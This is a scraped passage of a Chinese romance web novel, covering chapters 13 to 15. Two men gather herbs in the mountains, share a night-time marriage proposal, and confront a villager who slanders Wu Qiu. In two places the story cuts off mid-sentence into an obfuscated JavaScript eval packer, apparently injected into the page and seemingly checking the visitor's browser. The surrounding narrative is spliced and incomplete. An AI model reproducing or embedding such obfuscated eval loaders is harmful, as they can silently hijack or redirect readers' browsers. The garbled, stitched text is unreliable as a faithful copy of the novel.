他原先一直有些顾虑,怕他们家境差异大不合适,怕长辈介意他的身份加以阻挠,怕一时新鲜过后两人貌合情离。他们都已经不再是少年人,邬秋觉着自己承担不起一场错爱。为此,雷铤几次几乎将话挑明,他都仓皇回避,不敢真正无所顾忌地回应。可这些日子他细细观察着,又渐渐下定了决心。 近来他们都忙得不可开交,可雷铤对他的关怀就像已经成了习惯,成了如穿衣吃饭一样再自然不过的一件事。他的一言一行,都被雷铤注意到、放在心上。 没有什么甜言蜜语,这样反倒叫邬秋觉得安心。 他又想,自己也该主动一次,大大方方把自己的所思所想说出来。可偏偏现在不是谈情说爱的时候,找不到个合适的机会开口,只好用些别的法子表现出来。 邬秋根本睡不着,心跳得厉害,却没睁眼,尽力将呼吸放平稳了些,装作是已经睡着的样子。 雷铤自然知道他在装睡。 天色渐有亮意,两人离得又极近。邬秋的睫毛一直发着颤,偶尔紧张得下意识抿一抿嘴。他自己无知无觉,雷铤却看得清清楚楚。 为着避开闲人,免得误了行程,雷铤选了条小路走,路上更不平坦,多有颠簸。一道土坎过去,车子便重重颠了一下。雷铤身子一晃,右手攥紧缰绳,左手一把搂住邬秋的身子,带着他紧靠在自己身上。 邬秋被这一颠吓了一跳,睁开了眼。他以为自己要被从车上闪下去,下意识抱住了雷铤的脖子,又感受到雷铤的手在自己腰间加重了些搂抱的力气,急慌忙松了手。 雷铤低头哄道:“别怕,没注意路上有些不平整的地方,颠了一下。可有磕碰到?” 邬秋脸上发烫,不敢抬头看他,低眉摇头说没有。但他没有挣脱雷铤的怀抱,而是软下身子,又慢慢靠回了雷铤身上,几乎是倚在他怀里。 雷铤的声音似有笑意:“嗯,继续睡吧。” 邬秋乖乖合了眼,依旧是装睡。雷铤也没拆穿他,只是在邬秋看不见的地方笑了。他又怕惊动了人,忙忍笑屏息去看,邬秋仍闭着眼,身子倒渐渐放松了,不再那么紧绷,也不再紧紧咬着嘴。 邬秋的唇也很美,薄薄软软的两片,像春日的桃花。他的唇色没有那么红,平时也不施粉黛,但紧张起来喜欢咬着嘴,再松开时便是唇若激丹。他的唇边有一点起皮了。雷铤看到这里才知道自己已经不知不觉凑得太近,强迫自己收回视线坐正了身子,想着等会儿下车要让邬秋多喝些水。 另外,回去以后,也该抽空去买些口脂回来。 装睡的人方才险些装不下去。他虚眯着眼,能感受到雷铤离近了不少,与自己的嘴唇若即若离。邬秋心头颤了颤,便彻底闭上眼。 如果……如果真的碰到…… 邬秋还没想好该不该继续闭眼装睡,雷铤已经回过神来,继续抬头看着眼前的路。他心里忽然有种微妙的失望,跟着便是羞赧,又不敢动,只得竭力稳住呼吸。这几日他也确实有点累,靠在雷铤身上虽有些紧张,更多的却是感到安心,装着装着,竟真的睡着了。 再睁眼,是被雷铤叫醒的。车子已经停稳,雷铤不必再拽着缰绳,右手也伸过来,替邬秋拢了拢领口和衣襟。邬秋揉了揉眼睛,自己笑道:“竟当真睡了一路,辛苦你又要驾车又要顾着我。” 雷铤摸了摸他的头:“这有什么的,这一天采药也不轻松,现在睡一觉是好事。下车吧,剩下的路马车上不去,得要我们自己走了。” 他率先跳下车来,伸手扶邬秋下来,两人去后头拿了行囊。此地是山脚下的一处密林,远离灾民聚集之所。提前已商议好了,药铺一个住在不远处大有村的伙计让家里人过来接应,马车就交给他,二人徒步上山。 山路不好走,故此两个人都不多说话,为着省些精力和力气。只是邬秋虽安静低头走路,表面上看来并无异样,心里却是波涛起伏。 方才雷铤叫他醒来的时候,并没有像往常一样唤他“秋哥儿”…… 面前有个陡坡,雷铤先一步上去,回身向邬秋伸出手来:“秋儿,过来。” 13. 山里的夜晚(捉虫) 雷铤这一声“秋儿”,正如方才在车上一样,丝毫不掩饰其中的亲昵之意,喊得邬秋心神为之一荡,便将手伸了过去。雷铤的手很暖,很有力,手指也很长,温柔地把邬秋的手裹在掌心,另一只手过来扶住邬秋的身子,帮他上来站稳。 人已经上来了,但是雷铤没松手,邬秋也没挣脱。雷铤就这么拉着他,只是自己走在前头,把前头的藤蔓树枝子拨开。他看起来很熟悉山里的路,邬秋便问道:“大哥过去常来这山里采药么?感觉你走起来轻车熟路,这草把路都盖住了,可大哥还能认得出方向来。” 雷铤笑道:“是,山里新鲜药材多,过去得闲的时候常来走走。此处村民来得少,人迹罕至,自然路也难走些,仔细脚下。再走上一个时辰大概就能到有芸胡草生长的地方,只是现在时令不合,恐怕找起来还要费些功夫。” 这条路确实不大好走,但没有什么特别险峻之处,邬秋尚可以跟上雷铤的步伐。两人又一口气走了半个时辰,这才站住休息,从包袱里拿出些吃食来。几星碎屑洒在地上,立刻有些蚂蚁围上来,邬秋看着,倒由蚊虫想起野兽来:“这山里可有什么野兽么?” 雷铤把拧开的水囊递过去:“多喝两口——野兽也有,不过都在深山里,我们能到的地方最多有些野鸡野兔,不会有什么危险。”他拍了拍悬在腰间的一口佩剑:“再不济还有这个。蛇虫是有的,不过晚上睡觉时点起艾草,撒上石灰,大部分都能驱散。” 邬秋继续问:“夜间要宿在何处呢?” 雷铤笑了:“连住在哪都不知道,就敢答应了我同来么?” 邬秋这会儿反倒没那么害羞了,仰着脸看他笑道:“人家瞧你是个正经人才信你的,怎么,莫非要把我卖了——你慢些吃,喝两口水润润吧,给。” 雷铤接了水囊,顺手用指腹擦去邬秋脸颊上沾的点心渣:“岂敢岂敢,卖了你,回去莫说旁人,我阿爹就先把我打死了。过去我和于渊他们常来采药,在半山腰上搭了间小屋,凑合住上两宿还是可以的。” 邬秋已经吃完了手里的干粮,又将包袱重新打好,佯装生气朝雷铤道:“好啊,回去我只谢崔郎君就是了,并不领你的情。” 他一面这样说了,一面却主动伸手过去,等雷铤来拉他。雷铤求之不得,牵起邬秋的手,两人继续上路。山路确实难走,加上夏日多雨潮湿,路上难免泥泞湿滑,又多荆棘草木。雷铤另一只手拿了一根长棍,伸在前头敲打探路,邬秋卯足劲跟上,足足又走了一个时辰,雷铤才弯腰将脚边的一株草连根挖起:“可是有了,若是再晚一个月来,也不用走得这么深才能找到了。” 那株草生得很细弱,叶子边沿参差不齐,闻着还有些淡淡的香气,根倒是很长。雷铤给邬秋看过,将它小心地放在竹筐里:“秋儿要记住这草的样子,这就是我们要找的芸胡草。找到后小心些挖出来,根茎就可以入药。这山里的芸胡草不是我们两个人这两天能挖尽的,等药铺调运的药草到了,我们也不会再来采摘。所以现在情形危急,也不必顾虑太多,见到就都采下来就是了。” 邬秋答应一声,两人分开搜寻采集。雷铤又怕低头采药两人不知不觉走散,便用了一条麻绳,一头系在自己腰间,一头系在邬秋腰上,这才放了心。 现在确实不是芸胡草长得最好的时候,山上植被又实在丰茂,地上野草数不胜数。邬秋仔仔细细翻寻着,生怕有遗漏,凡是长得有些相似不好辨认的,也一并都采下来,留待回去细细分辨。好在山里有林木遮蔽着日头,也不觉得十分热。两人边找边慢慢向山上继续走,等雷铤过来说歇一歇吃点东西当作午饭的时候,邬秋发觉他们竟已爬了好大一截,早已越过了半山腰。 猛然站直时,邬秋才想起自己已经弓着身子好长时间,腰酸痛得叫他忍不住皱眉,一边揉着腰一边挪过来,给雷铤看他的小竹筐。雷铤说不急,拉着他找了块平整的地方,自己先在一块石头上坐了,向邬秋招招手:“着急也不全急在这一时,过来,我给你揉揉,免得伤了腰。” 邬秋过来,雷铤让他趴在自己腿上。邬秋登时红了脸,可雷铤说得正经,似乎只是平常郎中给病人看病,便小心翼翼趴下,不敢彻底松了劲。 雷铤用掌根顺着邬秋的脊梁捋了捋,找准位置用力按了第一下,邬秋没防备,“啊”的喊出声来,身子一激灵,接着身子便软了,像被抽了筋似的趴下去。他艰难转头,可怜地望着雷铤:“轻一些吧,好疼。” 雷铤答应:“好。一直弯着腰,皮肉都僵了,若不好好放松放松明天更要疼得厉害。再忍一忍,我给你揉揉,一会儿就好了。” 邬秋撇撇嘴:“你光说轻点,手上的力道一点没减。上午我也品出来了,这采药跟秋收一样的,不能半中间直起身子,越直后头腰越疼,最好从一开头就一直弯着。” 不过雷铤的手法确实不错,最初一阵疼过去后,跟着便觉得血脉经络皆随着通畅了,腰上的酸痛也减轻了不少。 雷铤却沉默了许久,直到按摩结束叫邬秋站起来之后,才又开口道:“过去的日子……你受苦了。” 邬秋打开包袱找出干粮,挨着雷铤坐下,轻轻摇摇头:“谈不上苦,庄稼人家里的夫郎娘子,也常有下地做点农活的。也就是……” 也就是雷铤心疼他,才会觉得这寻常的活计也是叫他受苦了。 其实邬秋当日做这些农活的时候心里也不觉着怎样,况且他也不是这一二年才做活的。他三岁时父亲就去世了,那时他母亲就在农忙时帮着人家干农活,他无人照管,就戴个小斗笠去地里跟着帮忙,捡捡麦穗、拔几株野草,再长大些就拿着小镰刀正经干活了。现在偶然得到一句关心,他才恍然想起,那时他也还是个孩子啊…… 他曾经也羡慕过别人家那些受尽疼爱,不需要如此劳累的小哥儿。但农家很多孩子都是这样的,所以他觉着自己也没什么好委屈的。 可是偏偏遇到了雷铤。 许是在家里过去照看两个幼弟成了习惯,雷铤很顺手地摸摸邬秋的头发,像是在抚慰小孩子:“哪怕人人都是如此,却不代表你受过的辛苦便不作数。” 他又叹了口气:“要是我早些遇到你就好了。” 这句话说得太轻,邬秋一时拿不准是不是自己听错了,下意识问道:“什么?” 雷铤摇摇头:“没什么。” 他刚想让邬秋再吃几口,邬秋却已经收拾了东西站起来走到他身后。邬秋不会雷铤那一套按摩的法子,但在家里时也常帮杨姝按肩捏腿,也不陌生,便试着伸手到雷铤腰背上揉着:“你身量那么高,一上午采药一定比我累,趁着这会儿休息,我也给你稍微揉揉。” 雷铤想告诉他自己心中有数,他不必为了自己担心,也不用花费休息时间做这些,但邬秋的手指在他肩上一捏,他便什么拒绝的话也说不出来,僵着身子张嘴踌躇了半晌,只道出一声谢。 邬秋噗嗤一声笑了。 山里天黑得早,林木又繁茂,走夜路难免危险,再说夜间的住处也还需要收拾打扫,所以雷铤没拖得太晚,火红的云霞染上天边的时候,两人就已经从高处折返,来到了位于半山腰附近的一间小屋旁。 小屋由木石搭成,几乎要隐没在山石之间,确实极小,仅能做临时歇脚的处所。 邬秋语气里有些惊讶和崇拜的意思:“你到底是如何找到的?我早已经辨不清方向了。” 雷铤笑了笑:“来得多了,自然也就记得。此地虽鲜少有人踏足,却还是有路可辨的。” 他在屋里屋外转了几圈,确认没什么异样之后才让邬秋进来。屋里没有床,只有一块木板铺在地上,也没有什么别的家具,只有个竹架子,上面放满了锅碗瓢盆之类。另一边角落有好几个泥糊的炉灶,都是很齐整的东西,想是这一群郎中过去总在这里摆弄药材,为着煎药方便弄的。屋里有日子没人来,积了一层灰尘,别的倒没有什么破损,打扫之后住一两晚不成问题。 当初选建此屋的时候,几人特意考察了周围的水源,最终把小屋建在了一条山溪附近。等雷铤提了两桶水回来的时候,天已经快黑了。邬秋在屋门前的石板上生起火来,隐约看到雷铤模糊的身影,忙跑出来迎他:“可也够远的,再晚些天就黑了,这山里天黑可不比城里有灯火,我方才还想要是你再不回来,我就做两个火把去迎你呢。” 雷铤把水桶放下,想摸邬秋的脑袋,又想着手上刚沾了水,便止住了动作:“还好秋儿没出去,天晚了林中危险,不要自己乱跑。” “秋儿”两字一出口,邬秋的脸一下又红了,索性天色已经昏黑,想来雷铤看不见,忙说些别的话岔开:“屋里我已经打扫干净,我去把干粮拿出来。” 两人的晚饭很简单,就是带的吃食加上烧开的热水。雷铤边吃边叹道:“其实山中野味不少,一些新采的野菜也是城里菜蔬吃不到的风味,可惜这次没时间顾及这些,有机会再弄些给你尝尝。” 现在没有别的事分散精力,邬秋想了很久的事,终于有机会说出口。他放下了手中的水碗,轻轻地攀着雷铤的胳膊,把身子倚了上去。他能觉出雷铤臂上的肌肉骤然紧绷,自己也跟着紧张起来,但还是轻声说:“那下次,等这场灾情过去,灾民都返了乡,医馆不再那么忙的时候,大哥再上山采药,能带我来尝个新鲜么?” 雷铤当然听得出这话中的意思,又不敢把话说得太急,不敢语气太激烈,像是怕惊扰了邬秋,调整了两下呼吸才开口道:“自然要带的。” 他顿了顿,又问:“可是看今年的情形,大约没有机会再来游玩了,恐怕要到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在村里的时候,老人们都说这东西出没就是要死人了,所以这样解释完邬秋的脸色也没有好看多少,警惕地看看四周,又低下了头。雷铤急忙哄他道:“是我粗心了,倒忘了深夜林子里有这些东西,秋儿别怕,你先回屋里吧,我收拾收拾外面就进去。” 他也没让邬秋自己走,抱着人站起来,把邬秋放在屋里的木板上,又替他点上灯,自己这才出去收拾了外头的东西,又为了防止有蛇虫爬进来,绕着房子撒了一圈石灰粉。 这屋里虽陈设简陋,但房子结实,物件也都是好的,已经算是不错。邬秋把两人的铺盖在木板上铺好,犹豫了半天,又把自己的铺位向雷铤的那边挪了一点,把两人中间的距离缩短到一尺。 他闷闷地收拾好,坐在铺上等着雷铤回来,心里有一点后悔,暗暗怪自己胆子太小。 雷铤叫他出去洗漱,两个人都有些尴尬,有一搭没一搭说几句话,谁也不敢看谁的脸,最后又在这种奇异的气氛中回到屋里各自躺下,互道夜安,然后吹熄了灯。 雷铤怎么躺着怎么不自在。屋里黑得他甚至看不清邬秋的身影,只好试探着开口:“山中夜里黑,秋儿害怕么?” 邬秋的声音传来:“嗯……原是有点怕的,但是有你在这里,就不怕了。” 两人之间虽有段距离,可也不远。邬秋试探着伸了伸手,就碰到了雷铤铺盖的边缘。所幸雷铤没有觉察,他又迅速把手撤回来。心里责怪自己,他们怎么说也没成亲,一个男子一个哥儿,自己怎能有如此孟浪的念头。 雷铤继续问:“觉得凉吗?” 邬秋扭捏了半天,才小声说:“有一点。” 他听到雷铤悉悉索索起身,片刻后,他感觉到雷铤把铺位挪到了紧挨自己的位置。 邬秋的心又跳得快了起来,他捂住胸口,像是怕雷铤听到那激烈的心跳,稳住自己的声音开口道:“嗯……大哥再过来一点吧,靠近一些……嗯……也好暖和暖和。” 话音一落,他的后背就挨上了雷铤温暖的怀抱。 雷铤低沉的声音从耳边传来:“秋儿,你可愿意做我的夫郎?” 邬秋在他怀里转了个身,食指轻轻点在雷铤唇上:“在说这个之前,我还有个问题想要问问大哥。” 他的声音低落了下去:“我不问你日后打算如何待我,也不问家产钱财。我只问一句——我是一个乡下哥儿,嫁过人,带着婆婆,无依无靠又没有钱财,家也被大水冲毁了。你是永宁城里最受景仰的郎中,有家人,有医馆生意,你怎么会爱上我呢?” 邬秋低了头,一直压在心上的话没有那么容易脱口而出,他的勇气几乎也要耗光了,忍不住哽咽起来:“若是换一位别的哥儿在医馆避难一月,你也会在日渐熟悉中爱上他么?” 14. 一株绣青竹 邬秋其实也不知道自己怎么就哽咽了,鼻尖酸涩得厉害,抬手揉揉眼睛,却没摸到有泪,闷闷地说道:“我这样说不是疑你的真心,你别恼。” 雷铤一只手在他背上轻轻拍着:“怎会,你愿意同我谈及此事,我很高兴。” 这说明邬秋私下里仔细思量过这事,是真心想过要同自己共度一生的,雷铤自然不会为此生气。身份使然,邬秋觉着不安也是再正常不过的,而自己要做的正是证明自己值得邬秋信任,好叫他放下心来。 雷铤在黑暗中牵起邬秋的一只手。邬秋又是羞,又是紧张,没用力气地挣了挣。 但雷铤攥得紧,没有松开,邬秋也便由他去了。 他被拉着,摸到了雷铤的衣襟。山里夜间已经有些冷了,露水又重,两人怕受了风寒,就都没有脱去外头的长衫。雷铤松开手,转而勾起他的一根手指,顺着衣襟轻轻捋下去。 指尖碰到一小团稍稍突起的线,雷铤停了下来,笑道:“这问题我也曾想过的,我也好奇我这前头三十年没动过的心思,怎么到你身上就活泛了。” 他很少说这样的话,又专凑到邬秋耳边来,温热的吐息和低沉的嗓音,叫邬秋心上身上一并痒起来,忍不住在雷铤怀里扭了扭身子。雷铤另一只手揽上他的腰,叫他别乱动,继续说道:“若真说要找个情之所起的时候,该说是当初在土地庙那一夜呢,还是等你回到了医馆之后呢,或者……其实是第一次在医馆见到你?我自己也想不明白。不过思来想去,不如就说这个吧。” 那衣襟上的丝线,原是邬秋绣上去的。那时候他身子刚好,虽在前头帮忙,有时候大家怕他太劳累,也会叫他回去歇息。那一日便是如此。一家人刚吃过午饭,医馆就来了好几个病人,可崔南山硬是要邬秋回房躺一躺,晚些再出来。邬秋拗不过他,只得去了。杨姝帮着刘娘子在灶间收拾碗筷,院里只有邬秋一人,正好看到刘娘子前一天洗了晾在竹竿上的衣服被风吹下来几件,忙都一一捡了起来,掸净了上头沾的灰尘,再重新搭到竿上。 有一件烟青色的长衫——邬秋细想了想,似乎只见崔南山穿过一回——拾起来一抖开,却看见衣襟内侧里子上有挺长一道缝补过的痕迹,缝得很结实,又在衣襟之内,故此虽然缝线弯弯曲曲,却也无碍观瞻,加上有层衬布挡着,若不是恰好掉在地上翻出来,恐怕穿衣的人自己也未必会注意。 邬秋既然看见了,便觉着这样放着不管有几分别扭。他知道崔南山是不在穿着打扮这些地方作过多讲究的,更别说这破口如此不引人注意。可邬秋想想,崔南山虽早不是少年人,但哥儿可都爱美呢,便还是希望能弄得精细些。 因此邬秋将那件衣服拿回房去,在那缝补过的地方绣了一株青竹,恰好形状合适,颜色又不突兀。 他也没想瞒着人,后来拿着衣服出来晾晒时碰见刘娘子,也大大方方告诉她自己见崔郎君衣服破损,帮忙略补了补。刘娘子神色有点惊讶,继而就是笑,却也没说什么。 如今邬秋才知道她当初为何发笑,因为这件衣服并不是崔南山的,只是那天晚上有风,雷铤随手脱了替他阿爹披上。 山中夜色太浓,雷铤看不清邬秋的脸,但小哥儿将脸埋在自己胸口,不说话也不动了,便不难想象出他红着脸、咬着唇,或许连耳尖也一并红了的样子,不觉心跟着软了,声音又放轻了些,在邬秋耳边喃喃道:“我自己后来偶然看到时还想着家里谁有这样的手艺,去问了刘娘子,她说是你错认成了阿爹的衣服,再后来……我收了你的帕子,那上面你绣的花边,绣法针线皆是一样的……” 邬秋的声音更小:“你……你惯会打趣我,我哪里有好手艺,不过会绣几样花草罢了,跟你们永宁城里厉害的绣娘比,怕是连人家初学时的技巧都不如呢。” 雷铤笑了:“我觉得极好,我所在意的,不是这衣服到底是谁的,也不是上面的绣工到底怎么样,而是你的这份心。日子就是要这样过才好,虽然这只是一件家常旧衣,虽然这衣襟之内连我自己都未必看见,而你又是落难至此,即便如此境地,却还愿意绣上一株翠竹。” 那时候,雷铤就确信,这是与他志趣能相投的人,他想和他共度一生。 他顿了顿,没有立刻再说话。 邬秋似乎懂了一些雷铤话中的意思。 他轻轻握住雷铤的指尖:“你不恼我擅自改了你的衣裳么?” 这句话又轻又软,像片羽毛落在人耳边。雷铤想亲他,可又有种近乡情怯般的退缩,怕冒犯了他,便耐下性子,对怀里的人温声道:“不会,我就是喜欢你这样子。” 邬秋静默了好半晌,久到雷铤心跳得越来越快。邬秋毕竟是个寡夫郎,杨姝又是他先夫的娘,碍着这重身份在,纵使他知道邬秋同自己是两情相悦,终归还是怕邬秋因此说出一个“不”字。 许是两人离得太近,邬秋忽然噗嗤一声笑出来,手指点了点雷铤的胸口:“先生身为郎中,连生死都见惯了,还至于如此么?” 雷铤不说话,只将手覆在邬秋手背上,按着他的手紧紧贴在自己胸前。 邬秋的心也跟着激烈鼓动起来,他抿了抿嘴,竭力稳住了心神,等确信自己开口时声音不会发抖了,才开了口:“方才你问我的话,你……可不可以再问一次?” 雷铤点头说好,重新郑重地问了:“秋儿,你可愿做我的夫郎?从此我如星而君如月,日夜相伴,白首不离,可好吗?” 其实邬秋又忍不住哭了,眼泪止不住地从眼眶里涌出来。他不好意思让雷铤发现,所以也不拭泪,任由泪珠滚落。 他胆子一直都不大,虽然熬过了许多苦难,从不低头放弃,可心底里总是恐惧不安的。他一面爱慕雷铤,一面还是在害怕,怕雷家长辈嫌恶他是寡夫,怕日子长了,生活趋于平淡,连这段情一并淡去。可现在被雷铤拥入怀中,他忽然觉得不再害怕了,过去遭受的一切连同将来的种种不定,全都不足为惧了。 雷铤知道他哭了,伸手替他拭泪:“别怕,我既说了想娶你,自然我也能做得了这个主。若你当真不愿意……” 他怕逼问得太急了,反倒使邬秋为难。可邬秋立刻抬手,指尖抵住雷铤的唇,不让他再说下去,也不再顾忌自己已经泄出哭腔,颤声道:“我愿意的,我愿意,我嫁给你。” 他好像……终于要有个真正的家了。家里团团圆圆,有温和的长辈,有吵闹的弟弟,有个疼惜他的相公。有柴米油盐的烟火气息,亦有人教他琴棋书画,与他共享喜怒哀乐,相伴余生。 邬秋埋在雷铤怀里,心中的喜悦涨满了,全从眼里流出来,哭得发颤。 雷铤一向不算嘴笨,此时几次开口,竟一个字都没说出来,只能紧紧抱着邬秋,虽心中无尽欢喜,却又记挂着他的身体,一时怕他哭伤了眼睛,更怕他今日劳累,夜间再闹得晚了休息不好,明日便缓不过来。因此将心头千言万语尽数咽下,只轻拍着他的背哄道:“秋儿不哭了,再哭,早起眼睛可要肿了。” 邬秋脸还在他胸前靠着,用力点了点头,可还说不出话来。 雷铤替他掖好了身上盖的毯子,又将自己的被掀开,把邬秋裹进来,不让他受寒:“怪我,不该这么晚了反勾着你哭一场。我说到的话必会做到,秋儿不用怕,这事也不急在一天,我知道你愿意就好了。安心睡吧,明日还要辛苦呢。” 邬秋一直没抬头,原是不困的,可毕竟累了一天,又哭得眼睛发酸,被雷铤哄着哄着,不多时倒真的睡着了。雷铤听他呼吸渐沉,也松了口气,小心地拨开遮在邬秋脸侧的被角。他在黑暗中凝视着邬秋的方向,最终小心翼翼地低下头,在邬秋前额散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽然两人昨夜刚刚互通了心意,但忙于寻觅药草,也不得空亲近。直到约莫晌午时分,才停下吃了点干粮当作便饭。他们还要赶在天黑之前回家,用过午膳便携手下山。现在有些尚有余力行动的灾民会上山找吃的,越往山下走越容易碰见,山脚下的树木有些连树皮都被剥去了,兔子之类的野物都纷纷向深山里躲藏,至于抢掠行人、劫取钱财之事,更是数不胜数。前一天进山时清晨人少,不必有太多顾虑,今日却正赶上下午人多的时候。雷铤也怕碰上流民惹出什么纠葛,便一路领着邬秋走小路。 小路偏僻难行,邬秋走得鼻洼鬓角见了汗珠。雷铤看见,又细看四下无人,便在几块岩石旁停住了脚:“这路不好走,歇息片刻再上路吧。” 邬秋扯了扯他的袖子:“我还能接着走的。” 雷铤一笑,顺手掏出帕子替他擦了脸上的汗:“我知道,不过你细看,此处是个分岔路口。你且在这坐一会儿,我去探探路,看看哪条好走些。你就在这等我,切莫乱走,我很快就回来——自己等着怕不怕?或者等会儿我们一起去也好。” 邬秋想那样岂不要费更多工夫。再说青天白日,此处已经离了深山,又无野兽,想来不会有事,忙摇摇头,又解下水囊递给雷铤:“既然如此,喝口水再去。这大白天的,没什么可怕,倒是你可多加小心,早些回来。” 雷铤摸摸他的头:“放心,我不远走,只去稍微看看,半炷香的工夫就回来。你可千万别离了此处。这山里草木繁茂,有时离开几步远便看不见人了。” 虽然都安顿妥当,可雷铤没走出两步,忽然又莫名有股不安之感,觉着不大放心,回头看着邬秋,又细细打量四周的环境。 鸟儿叽叽喳喳叫个不住,清新的山风吹过林间,树叶沙沙作响。 似乎又却无异样。 邬秋见雷铤犹豫了,知道他不放心自己,怕因此倒误了事,忙笑着冲他挥挥手:“你只管去就是,我没事的,正好趁这会儿歇歇脚,也不耽误我们回去。” 雷铤应了,想着速去速回,便不再多想,踏上了靠西边的小路。邬秋瞅着他的身影一晃便不见了,这才回过神,在石头上放松地坐了,擦着脸上的汗。 他其实还在想着昨夜的事,想着他和雷铤的将来,以至于一时失神。直到听见身后传来一阵悉悉索索的响动,才猛然回过头去。 15. 狭路又相逢 雷铤心里记挂着邬秋,不敢真的远走。这山林子里头林木高大,小径又蜿蜒曲折,走出几步便看不着人,若是邬秋真遇到什么事,他也不能及时发现。虽然方才走之前看着并没什么异样,但雷铤还是觉着心里不安,思前想后,倒不如等邬秋歇息好两人再一同来探路。 他心中不踏实,脚下步子也急,一来一回也就花了不到一刻的工夫。还没从林子里钻出来,却听见前头隐隐约约似是有人在说话,凝神一听,听不真说的是什么,但声音并不是邬秋的。 果真遇上了旁人。 雷铤三步并作两步拨开树丛走出来。邬秋没再坐在那几块大石头上,已经站在了离小径入口不远的地方,正背朝着自己,看向石头的另一边。听见身后来人,仓皇地回过头来,等看清是雷铤之后,原本紧皱的眉头一下子舒展开来,眼中含泪,扑进雷铤怀里,说话声音发颤,听着像受了委屈:“铤哥哥——” 石头对面站着一个男人,看穿着打扮还算体面,不像是一般流落田间野地的灾民,整个人看着有点畏畏缩缩,倒不像是很凶悍的样子。但邬秋身子瑟瑟发抖,气息不稳,即便当初落难在土地庙,雷铤也没见过他这副样子,心底里便对此人有几分敌视,一手搂着邬秋的腰,一手轻揉着他的后颈聊作安慰,一面开口道:“别怕,有我在,可有受伤?” 邬秋在他怀里摇了摇头。雷铤放心了一些,又问:“出什么事了?” 邬秋噙着泪去拉雷铤的手:“哥哥,我们走吧,离开这里好不好?” 他避重就轻,竟不肯多说。可雷铤见他神色有异,知道邬秋恐怕是与此人有什么口角争执,受了欺负,饶是雷铤素来温和,也不能容他人欺侮了邬秋。可对面的男人见他来了,非但不跑,还凑近了些看他抱着邬秋,更让雷铤觉着不自在,恨不得直接上去同他动手,奈何邬秋死攥着他的衣裳,不让他上前,便只得冷声问道:“我与你素不相识,无仇无怨,你却趁无人之际欺我夫郎,是何居心?” 那男人瞪大了眼睛:“你——夫郎?秋哥儿,两月不见,原来你又许下了人家。” 他这个“又”字说得极重,语气不善。邬秋猛地从雷铤怀里回过头来,声音已经带了哭腔,对男人吼道:“你住口!” 邬秋平时说话细声细气,从不这样高声的。雷铤更生了气,面带怒色,左手揽着邬秋的腰,右手伸向腰间宝剑,将剑拔出三寸,露出一段寒光。 男人看见,急忙摆手后退:“我可没有碰他一下,你别错冤枉了好人。我不过是看见同乡,想说几句话罢了。秋哥儿,是不是?也罢,许是你还没同你的新相公讲过咱们薛家村的事,我们好歹好过一场,你都露了身子给我看,还不替我美言——” 他话没说完,因为雷铤已经松开邬秋提剑上前,那男人扭头就跑,被雷铤从背后一脚踹个马趴,接着被攥住衣领拖回来,脸上先挨了结结实实的两拳,跟着宝剑便压在颈上。男人早已经吓得魂不附体,再说不出那些疯疯癫癫的浑话,只剩下杀猪一般的惨叫。 邬秋也被吓坏了。他倒不怕雷铤落于下风,只是怕雷铤真的失手伤了人,若是这林子里还有旁人看见,回去倘或闹起来,雷铤岂不毁了前路,故此急忙想跑过来拦他。他心里起急,眼前又蒙着泪,看不真,这地上又满是石块枯枝之类,不妨脚下绊了一跤,“哎哟”一声摔倒在地上。 雷铤循声忙回头去看,手上的力气便松了。那男人只图保命,见着雷铤分神,竟用手抓住剑锋一把推开,也不顾手上划出深深的伤口,就地一滚,一头扎进林子里去了。 若是那人后头不再说什么过分的话,给邬秋赔礼道歉,雷铤本也无意伤他性命,只想着把他扭送去见官,训诫一下。此时见他逃了,有心去追,可到底更担心邬秋,便转身向邬秋跑去,将他从地上扶起来,细细打量:“伤着了没有?” 邬秋衣裳脏了,头发也散了一些,神情很沮丧,他没有哭出来,只是拉着雷铤的衣角,轻声说道:“算了,算了哥哥。” 雷铤扶着他坐下,依次托着邬秋的胳膊和小腿轻轻动了动,确定没摔伤了筋骨,这才放下心来,安慰邬秋道:“都是我不好,不该把你一个人留下的。秋儿别怕,他欺侮了你,我自然不会就此作罢。我已经记下了那人的样貌,只要他还在永宁城附近,我一定找到他,送他去见官,还你一个公道。” 邬秋不语,只是在雷铤说第一句时摇了摇头,接着便自己伸手解了发带,把头发重新梳上去。 他最不想为人所知的过往,以这种最不体面的方式,被不知为何出现在的罪魁祸首薛虎,告诉了他最想要共度一生的人。方才因为恐慌快要涌出的眼泪已经不见了,心如死灰般的绝望却随之而来。 他该说什么呢,把一切都告知雷铤的话,雷铤会不会也和过去的乡亲们一样想,会不会也觉得是他的错处,会不会从此厌弃他。 雷铤拿了帕子替邬秋擦脸,擦去他脸上的汗水,轻轻问:“秋儿认得那男子?” 邬秋又沉默良久,才点了一下头,哀切地看着雷铤:“他说的话不是真的,你别信。我解释给你听,好么?” 那双眼睛看着叫人心尖抽痛,雷铤摸摸他的头:“我根本不认得他,岂会随随便便听信一个陌生人的几句话。可我知道秋儿是最好的,自然要听你的话。” 邬秋揉揉眼睛,站起身来:“可是耽搁的够久了,我们接着走吧。” 雷铤转过身,把背对着他:“我背你下山,上来。” 两人还各带着行囊竹筐,再说邬秋方才摔得不重,没有伤了腿脚,哪里肯依,自己下来背好自己的行李。雷铤仍旧稳稳地牵住他的手,踏上方才探过的小路。邬秋不说话,他便也不主动开口问,只照旧提醒着邬秋小心脚下,自己走在略靠前的位置。 其实对那男人所说的话,雷铤除了恨他敢对邬秋出言不逊,污了邬秋的清誉,旁的倒并未真的介怀。可见邬秋如此难过,他也跟着焦急,哥儿被人如此诬蔑也非小事,雷铤怕邬秋郁结成疾,又暗自埋怨自己太大意,未能尽早觉察有人潜伏在暗处,一时悔愧与心痛交织在一处,也说不出什么话来。两人竟就这样一路下了山,眼见着已经能看得到山下平坦的大路,雷铤原以为邬秋不打算再说话,可正在这时,邬秋忽然开口了。 邬秋的声音很低,带着点怯意:“方才那男人名叫薛虎,是我在薛家村时同村的乡邻。” 